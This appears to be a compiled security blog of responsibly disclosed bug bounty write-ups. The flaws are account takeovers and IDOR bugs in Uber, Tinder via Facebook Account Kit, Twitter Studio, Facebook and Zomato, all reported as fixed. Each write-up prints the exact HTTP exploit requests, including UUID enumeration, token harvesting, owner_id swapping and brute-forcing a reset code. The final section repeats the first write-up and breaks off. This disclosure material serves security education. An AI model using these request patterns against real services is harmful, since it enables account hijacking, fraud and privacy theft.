Uber Account Takeover Vulnerability: How I Hijacked Any Uber Account ($6,500 Bug Bounty)

This research is published with the permission of Uber under their responsible disclosure policy. The security vulnerability detailed in this write-up was disclosed by Anand Prakash of AppSecure and was swiftly resolved by Uber's engineering team.

Security Note: This issue shares similarities with the Facebook access token leak discovered in 2018.


About Uber Security Profile

Uber is a global mobility and transportation network company headquartered in San Francisco, California. Offering services across peer-to-peer ridesharing, food delivery (Uber Eats), taxi hailing, and micromobility, Uber operates in over 700 metropolitan areas globally with a market valuation exceeding $100 billion.

Vulnerability Summary & Impact

This technical write-up covers a critical account takeover vulnerability in Uber's API platform. The flaw allowed an attacker to hijack any Uber account—including Rider, Driver/Partner, and Uber Eats accounts—by querying user UUIDs and harvesting unauthenticated access tokens returned in API responses.

By exploiting this flaw, an attacker could:

  • Track real-time and historical victim location data.
  • Order rides and food charged to the victim's saved payment methods.
  • Access private account details (full names, email addresses, phone numbers, driver licenses).
  • Gain complete account persistence across Uber mobile and web apps.

Step-by-Step Exploit Walkthrough

Step 1: Enumerating User UUID via Phone Number or Email

First, I identified two unauthenticated endpoints on partners.uber.com that leaked the internal userUuid for any user when supplied with a phone number or email address.

API Request #1 (Phone Number Lookup):

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
Content-Type: application/json

{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}

Response Leaking User UUID:

{
  "status": "failure",
  "data": {
    "code": 1009,
    "message": "Driver '47d063f8–0xx5e-xxxxx-b01a-xxxx' not found"
  }
}

The error string directly leaked the internal userUuid (47d063f8–0xx5e-xxxxx-b01a-xxxx) attached to the target phone number.

API Request #2 (Email Address Lookup):

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
Content-Type: application/json

{"email":"victim@example.com"}

Response Leaking User UUID:

{
  "status": "failure",
  "data": {
    "code": 1009,
    "message": "Driver 'ca111b95–1111–4396-b907–83abxxx5f7371e' not found"
  }
}

Step 2: Fetching the Mobile Access Token & Hijacking the Account

With the leaked userUuid in hand, I issued a request to the vulnerable endpoint /marketplace/_rpc?rpc=getConsentScreenDetails on bonjour.uber.com.

Vulnerable Uber API Request:

POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)
Content-Type: application/json

{"language":"en","userUuid":"xxxx–776–4xxxx1bd-861a-837xxx604ce"}

Vulnerable Response Leaking Full User Session Token:

{
  "status": "success",
  "data": {
     "getUser": {
        "uuid": "cxxxxxc5f7371e",
        "firstname": "Maxxxx",
        "lastname": "XXXX",
        "role": "PARTNER",
        "email": "victim@example.com",
        "token": "b8038ec4143bb4xxxxxx72d",
        "driverInfo": {
           "contactinfo": "999999999xx",
           "driverLicense": "None"
        },
        "partnerInfo": {
           "address": "Nxxxxxxx",
           "isFleet": true
        }
     }
  }
}

The response returned the complete user profile alongside an active mobile authentication token ("token": "b8038ec4143bb4xxxxxx72d"), allowing full takeover of the target account.

Remediation & Proof of Concept

Uber resolved the vulnerability by enforcing proper session authorization checks across all _rpc endpoints and ensuring sensitive authentication tokens are stripped from public responses.

Video Proof of Concept


Disclosure Timeline

  • April 19, 2019: Vulnerability reported to Uber via HackerOne.
  • April 25, 2019: Report triaged by Uber Security.
  • April 26, 2019: Patch deployed and $6,500 USD bounty awarded.
  • June 28, 2019: Disclosure requested.
  • September 9, 2019: Public disclosure approved by Uber.

Further Reading

For additional details and background on this issue, you can check out these articles:

Thanks for reading! Feel free to share or reach out with any questions regarding cybersecurity and bug bounty research.

Tinder Account Takeover Vulnerability via Facebook Account Kit ($6,250 Bug Bounty)

This research is being published with the permission of Facebook under their responsible disclosure policy. The vulnerabilities mentioned in this blog post were plugged quickly by the engineering teams at Facebook and Tinder.


Vulnerability Summary & Impact

This post details an account takeover (ATO) vulnerability I discovered in Tinder’s web and mobile applications. By exploiting this flaw, an attacker could gain full access to a victim’s Tinder account, provided the victim used their phone number to log in.

The root cause of this issue stemmed from a chained vulnerability involving Facebook’s Account Kit (which Facebook has since addressed) and an authentication flaw within the Tinder API.

Both Tinder’s web and mobile applications allow users to use their mobile phone numbers to log into the service. This login architecture was powered by Facebook's Account Kit.

When a user clicks on Login with Phone Number on Tinder.com, they are redirected to Accountkit.com. If authentication is successful, Account Kit passes an access token back to Tinder to authorize the login.

Interestingly, the Tinder API was not validating the client ID on the token provided by Account Kit. This oversight enabled an attacker to use any other app’s Account Kit access token to take over the real Tinder accounts of other users.

Understanding the Affected Services

Facebook Account Kit was a product that allowed users to quickly register for and log into registered third-party apps using just their phone number or email address, bypassing the need for passwords.

Tinder is a highly popular location-based mobile dating application. It allows users to match, swipe, and chat with people nearby.

Step-by-Step Exploit Walkthrough

I discovered a vulnerability in Account Kit through which an attacker could gain access to any user’s Account Kit account using just their phone number. Once inside, the attacker could extract the victim's Account Kit access token (stored in the aks cookie) and use it against Tinder's vulnerable API.

Step 1: Exploiting Facebook Account Kit

First, the attacker logs into the victim’s Account Kit account by supplying the victim’s phone number in the new_phone_number parameter of the API request below.

Note: Account Kit was failing to verify the mapping of the phone number to the supplied One-Time Password (OTP). An attacker could enter anyone’s phone number and successfully authenticate.

After a successful bypass, the attacker simply copies the victim’s aks access token directly from their browser cookies.

The Vulnerable Account Kit API Request:

POST /update/async/phone/confirm/?dpr=2 HTTP/1.1
Host: www.accountkit.com
Content-Type: application/x-www-form-urlencoded

new_phone_number=[victim’s phone number]
&update_request_code=c1fb2e919bb33a076a7c6fe4a9fbfa97[attacker’s request code]
&confirmation_code=258822[attacker’s code]
&user=0&a=1&dyn=&req=6&be=-1&pc=PHASED%3ADEFAULT&__rev=3496767&fb_dtsg=&jazoest=

Step 2: Exploiting the Tinder API

With the victim's aks token secured, the attacker replays the following request into Tinder's authentication API.

Because Tinder failed to validate the client ID attached to the token, the API accepts the payload, and the attacker is instantly logged into the victim’s Tinder account. The attacker gains full control over the profile—allowing them to read private chats, view personal information, and swipe on other users.

The Vulnerable Tinder API Request:

POST /v2/auth/login/accountkit?locale=en HTTP/1.1
Host: api.gotinder.com
Connection: close
Content-Length: 185
Origin: https://tinder.com
app-version: 1000000
platform: web
User-Agent: Mozilla/5.0 (Macintosh)
content-type: application/json
Accept: */*
Referer: https://tinder.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"token":"[victim's aks token]","id":""}

Disclosure Timeline & Bug Bounty Resolution

Both vulnerabilities were triaged and remediated incredibly quickly by the security and engineering teams at Facebook and Tinder.

  • Facebook Bug Bounty: Awarded $5,000 USD for the Account Kit vulnerability.
  • Tinder Bug Bounty: Awarded $1,250 USD for the API client ID validation flaw.
  • Total Bounty Awarded: $6,250 USD

Further Reading

For additional context on the impact of this vulnerability, you can check out these write-ups:

Thanks for reading! Feel free to share this write-up with the cybersecurity and bug bounty community.

How I took control of your Twitter account (tweeting, viewing/deleting photos and other media)

Summary: This blog post details an Insecure Direct Object Reference (IDOR) vulnerability on Twitter that could have been used by attackers to tweet from other accounts, upload videos on behalf of a user, delete pictures/videos from a victim's tweets, and view private media uploaded by other Twitter accounts. All endpoints on studio.twitter.com were vulnerable.


Vulnerability Background

Twitter is an online news and social networking service where users post and interact with messages, "tweets", restricted to 140 characters (at the time of this research). Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS, or a mobile device app.

Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. Naturally, I started looking out for security loopholes immediately after the launch.

I noticed that all API requests on studio.twitter.com were sending a parameter named owner_id, which was the Twitter user ID (publicly available and sequential) of the logged-in user. Crucially, the owner_id parameter was missing backend authorization checks. Changing this value allowed me to take actions on behalf of other Twitter users.

Step-by-Step Exploit Walkthrough

Vulnerable Request #1: Tweeting from other Twitter accounts

By swapping the owner_id in the payload, I could force the API to publish a tweet on the victim's timeline.

POST /1/tweet.json HTTP/1.1
Host: studio.twitter.com

{"account_id":"[attacker's account id]","owner_id":"[victim's user id]","metadata":
{"monetize":false,"embeddable_playback":false,"title":"Test tweet by attacker",
"description":"attacker attacker","cta_type":null,"cta_link":null},"media_key":"",
"text":"attacker attacker"}

Result: Replaying the above request with the victim's ID resulted in a successful tweet from the victim's account.

Vulnerable Request #2: Uploading media to another account

I was also able to upload media (images/videos) to another user's media library.

POST /1/library/add.json HTTP/1.1
Host: studio.twitter.com

{"account_id":"[attacker's account id]","owner_id":"[victim's id]","metadata":{"monetize":false,"name":"abcd.png","embeddable_playback":true,"title":"Attacker","description":"","cta_type":null,"cta_link":null},"media_id":"","managed":false,"media_type":"TweetImage"}

Result: Replaying the above request with the victim's owner_id uploaded media directly to the victim's account.

Vulnerable Request #3: Deleting videos/media of other accounts

Going a step further, an attacker could maliciously delete existing media from the victim's account if they knew the media_key.

POST /1/library/remove.json HTTP/1.1
Host: studio.twitter.com

{"account_id":"[attacker's account id]","owner_id":"[victim's id]","media_key":"[victim's video id]"}

Result: Replaying the above request with the victim's user ID and media key deleted the media from the victim's account.

Vulnerable Request #4: Private media disclosure

Finally, it was possible to fetch a list of all private media uploaded to a victim's Twitter Studio account.

GET /1/library/list.json?account_id=[attacker's account id]&owner_id=[victim's id]&limit=20&offset=0 HTTP/1.1
Host: studio.twitter.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://studio.twitter.com/library
Cookie: [Session Cookies]
Connection: keep-alive

Result: Replaying this GET request with the victim's user ID leaked all private media belonging to the victim's Twitter account in the JSON response.


Further Reading

For additional details and background on this issue, you can check out this coverage:

Disclosure Timeline & Resolution

  • August 29, 2016: Reported all findings to Twitter across 3 different reports (as the vulnerable endpoints were different).
  • September 2, 2016: Received a response from the Twitter security team confirming they were looking into the issue. They noted they would close the other reports as duplicates since they shared the same root cause (the missing owner_id authorization check).
  • September 3, 2016: Vulnerability patched. A bounty of $5,040 USD was rewarded by Twitter.

Thanks for reading! Feel free to share this write-up with the cybersecurity and bug bounty community.

How anyone could have used Uber to ride for free!

Note: This is being published with the permission of Uber under the responsible disclosure policy. The vulnerability was fixed in August 2016.

Summary:

This post is about an interesting bug on Uber which could have been used to ride for free anywhere in the world. Attackers could have misused this by taking unlimited free rides from their uber account.

Description:

Uber Technologies Inc. is an online transportation network company headquartered in San Francisco, California, with operations in 528 cities worldwide. Users can create their account on Uber.com and can start riding. When a ride is completed a user can either pay cash or charge it to their credit/debit card.
But, by specifying an invalid payment method for example: abc, xyz etc, I could ride Uber for free. 

For demonstrating the bug, i took permission from Uber Team and took free rides in United States and India and i wasn't charged from any of my payment methods. 

Vulnerable request:

POST /api/dial/v2/requests HTTP/1.1 Host: dial.uber.com {"start_latitude":12.925151699999999,"start_longitude":77.6657536,
"product_id":"db6779d6-d8da-479f-8ac7-8068f4dade6f","payment_method_id":"xyz"}

Steps to reproduce:

1) Replayed the above request with random characters as payment_method_id.

2) Ride was free.

Video Proof of concept:

Thanks to uber team for fixing this quickly.

[Responsible disclosure] How I could have hacked all Facebook accounts

Note: This is being published with the permission of Facebook under the responsible disclosure policy. The vulnerability is now fixed.

Summary:

This post is about a simple vulnerability found on Facebook which could have been used to hack into other user's Facebook account easily without any user interaction. This gave me full access of another users account by setting a new password. I was able to view messages, his credit/debit cards stored under payment section, personal photos etc. Facebook acknowledged the issue promptly, fixed it and rewarded $15,000 USD considering the severity and impact of the vulnerability.

Description:

Whenever a user Forgets his password on Facebook, he has an option to reset the password by entering his phone number/ email address on https://www.facebook.com/login/identify?ctx=recover&lwv=110 ,Facebook will then send a 6 digit code on his phone number/email address which user has to enter in order to set a new password. I tried to brute the 6 digit code on www.facebook.com and was blocked after 10-12 invalid attempts.
Then i looked out for the same issue on beta.facebook.com and mbasic.beta.facebook.com and interestingly rate limiting was missing on forgot password endpoints. I tried to takeover my account ( as per Facebook's policy you should not do any harm on any other users account) and was successful in setting new password for my account. I could then use the same password to login in the account.

Video POC:




As you can see in the video i was able to set a new password of the user by brute forcing the code which was sent to your email address/phone number.

Vulnerable request:

POST /recover/as/code/ HTTP/1.1 Host: beta.facebook.com
lsd=AVoywo13&n=XXXXX
Brute forcing the "n" successfully allowed me to set new password for any Facebook user.

Reward:



Disclosure Timeline:

Feb 22nd, 2016 : Report sent to Facebook team. Feb 23rd, 2016 : Verified the fix from my end. March 2rd, 2016 : Bounty of $15,000 awarded.

[Responsible disclosure] How I could have removed all your Facebook notes

Note: This is being published with the permission of Facebook under the responsible disclosure policy. The vulnerability is now fixed.

Summary:

This blog post is about an Insecure direct object reference vulnerability in Facebook Notes using which attacker could have removed all your notes just by replacing his Note id with yours in note editing request. 


About Facebook Notes:

Facebook Notes are ways of writing entries about your life, your thoughts, or your all-time favorite songs and then sharing them with your Facebook friends. The beauty of Notes lies in the ability to blog without needing to distribute a web address to friends so that they can go check out your blog. Instead, your friends are connected to your Profile. Therefore, when you publish a Note, it appears in your News Feed.


Vulnerability description: 

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability, attackers can bypass authorization and access resources in the system directly, for example database records or files.
Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.

Reference:  https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References


Vulnerable request:

POST /a/note.php?note_id=[victim’s note id]&publish&gfid=[attacker’s token]
Host: touch.facebook.com

fb_dtsg=[attacker’s token]&charset_test=&title=&body=&privacy=&=Publish&_dyn=&__user=[attacker’s userID]

Replacing note_id in the above request led to successful removal of note from victim's account. Note id can be seen by visiting victim's note and copying the id from the URL.



Video POC:







Impact:

Note deletion from victim's account



Disclosure Timeline:

June 15, 2015 : Report sent to Facebook Security team
June 16, 2015 : Bug acknowledged by Facebook Security team
June 16, 2015 : Vulnerability Fixed
June 22, 2015  : Bounty of $2500 awarded by Facebook






[Responsible disclosure] How I could have hacked 62.5 million Zomato Users


Note: This is being published with the permission of Zomato Team. The vulnerability is now fixed. 

Zomato is an online restaurant search and discovery service providing information on home delivery, dining-out, cafés and nightlife for various cities of India and 21 other countries. It has 62.5 million registered users.
While creating an account, a user can store his phone number, addresses, date of birth, link Instagram account etc. In one of the API call, they were reflecting the user data based on the "browser_id" parameter in the API request. Interestingly, changing the "browser_id" sequentially resulted in data leakage of other Zomato users. The data leaked also had Instagram access token which could be used to see private photos on Instagram of respective Zomato users.

Below are the technical details of the vulnerability:

Description:

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability, attackers can bypass authorization and access resources in the system directly, for example database records or files. 
Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.

Vulnerable endpoint:

POST /v2/userdetails.json/XXXXX?&browser_id=XXXXX&type=journey&lang=en&uuid=pgh1evyBWvL+sp9/JpwUpItnk8Q=&app_version=6.5.0.1 HTTP/1.1
Accept: */*
Content-Length: 214
Accept-Encoding: gzip, deflate
X-Zomato-API-Key: XXXXXXX
Content-Type: application/x-www-form-urlencoded
User-Agent: Zomato/5.0
Host: 1api.zomato.com
Connection: Keep-Alive
Cache-Control: no-cache

lang=en&uuid=pgh1evyBWvL%2Bsp9%2FJpwUpItnk8Q%3D&client_id=Zomato_WindowsPhone8_v2&app_version=6.5.0.1&device_manufacturer=NOKIA&device_name=NOKIA%2520Lumia%25201020&access_token=xyz

Replacing the XXXXX with victim's user id in the above request led to information disclosure.

Ease of exploitability:

You can easily get userid of any zomato user by visting their profile. They are public and appended to your profile url.
Proof of concept video:



This bug was responsibly disclosed to Zomato and was fixed within few minutes by the engineering team.  

Disclosure Timeline:
June 1, 2015  09:29 PM : Report sent to Deepinder Goyal, CEO 
June 2, 2015  12:54 PM :  Added Gunjan Patidar, CTO and Shrey Sinha to the mail thread
June 2, 2015   1:04 PM  : Bug acknowledged by Gunjan Patidar 
June 2, 2015  2:01 PM   : Confirmation of vulnerability fix from Gunjan Patidar. 
 

Uber Account Takeover Vulnerability: How I Hijacked Any Uber Account ($6,500 Bug Bounty)

This research is published with the permission of Uber under their responsible disclosure policy. The security vulnerability deta...